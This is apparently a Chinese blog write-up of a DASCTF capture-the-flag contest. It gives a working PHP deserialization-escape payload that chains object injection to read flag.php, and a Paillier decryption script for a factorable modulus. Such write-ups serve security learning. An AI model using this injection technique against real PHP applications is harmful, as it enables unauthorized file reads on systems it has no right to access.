安恒月赛DASCTF

安恒月赛DASCTF

中午就睡了一会儿起来做题,还被室友给diss了…🙄,搞得下午一直恍恍惚惚… 也做了几道题,简单写下题解吧,师傅们勿捶。。。

web1

考察反序列化逃逸,类似的题之前有写过:0CTF2019-piapiapia春秋公益赛,这里不再详细解释。

解题

进入题目给出源码:

<?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}

class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}

class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}

$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));

根据字符替换的规则可以构造payload如下:

a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=a";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

payload打过去之后看源码拿到flag。

cry1-not RSA

这题考察Paillier加密算法,这题也是学到了新知识:

Paillier加密系统,是1999年Paillier发明的概率公钥加密系统。基于复合剩余类的困难问题。该加密算法是一种同态加密,满足加法和数乘同态。

这篇博客有对该算法的讲解,这里我就不过多讲解了。

解题

给出源码如下:

...
m = long2bytes(flag)
n = p * q
r = random.randint(1,n)
g = n + 1
c = (pow(g,m,n*n))*pow(r,n,n*n))%n*n
...
# n=... c=...

emmm… 其实做题的时候忘了把源码记下来了,就简单通过解密脚本逆了一下😅

通过密文c的产生明显看出来是Paillier算法进行加密的,既然如此,那么n应该是可以分解的,yafu分解了一下,果然可以。时间短,自己懒得写了解密脚本了,网上找了一个自己又改了一下:

# paillier cryptosystem
import gmpy2
import libnum

def L(x, n):
return (x - 1) // n

def decipher(c, pk, sk):
[n, g] = pk
lmd = sk
u = gmpy2.invert(L(gmpy2.powmod(g, lmd, n ** 2), n), n) % n
m = L(gmpy2.powmod(c, lmd, n ** 2), n) * u % n
plaintext = libnum.n2s(m)
return plaintext

c = 29088911054711509252215615231015162998042579425917914434962376243477176757448053722602422672251758332052330100944900171067962180230120924963561223495629695702541446456981441239486190458125750543542379899722558637306740763104274377031599875275807723323394379557227060332005571272240560453811389162371812183549

n = 6401013954612445818165507289870580041358569258817613282142852881965884799988941535910939664068503367303343695466899335792545332690862283029809823423608093
g = n+1
pk = [n,g]
# p、q由yafu分解而来
p = 80006336965345725157774618059504992841841040207998249416678435780577798937819
q = 80006336965345725157774618059504992841841040207998249416678435780577798937447
sk = (p-1) * (q-1)

m = decipher(c, pk, sk)
print(m)

再赠送一个整个加密、解密实现的代码:

import gmpy2
import random
import time
import libnum
def get_prime(rs):
p = gmpy2.mpz_urandomb(rs, 1024)
while not gmpy2.is_prime(p):
p = p + 1
return p
def L(x, n):
return (x - 1) / n
def keygen():
rs = gmpy2.random_state(int(time.time()))
p = get_prime(rs)
q = get_prime(rs)
n = p * q
lmd = (p - 1) * (q - 1)
#g = random.randint(1, n ** 2)
g = n + 1
if gmpy2.gcd(L(gmpy2.powmod(g, lmd, n ** 2), n), n) != 1:
print('[!] g is not good enough')
exit()
pk = [n, g]
sk = lmd
return pk, sk
def encipher(plaintext, pk):
m = libnum.s2n(plaintext)
n, g = pk
r = random.randint(1, n ** 2)
c = gmpy2.powmod(g, m, n ** 2) * gmpy2.powmod(r, n, n ** 2) % (n ** 2)
return c
def decipher(c, pk, sk):
[n, g] = pk
lmd = sk
u = gmpy2.invert(L(gmpy2.powmod(g, lmd, n ** 2), n), n) % n
m = L(gmpy2.powmod(c, lmd, n ** 2), n) * u % n
plaintext = libnum.n2s(m)
return plaintext
if __name__ == '__main__':
pk, sk = keygen()
plaintext = raw_input('Please input your message: ')
ciphertext = encipher(plaintext, pk)
print('Ciphertext:', ciphertext)
plaintext = decipher(ciphertext, pk, sk)
print('Plaintext:', plaintext)

还有几个misc的题,就不再写题解了,最近有点忙…

Comments


:D 一言句子获取中...

Loading...Wait a Minute!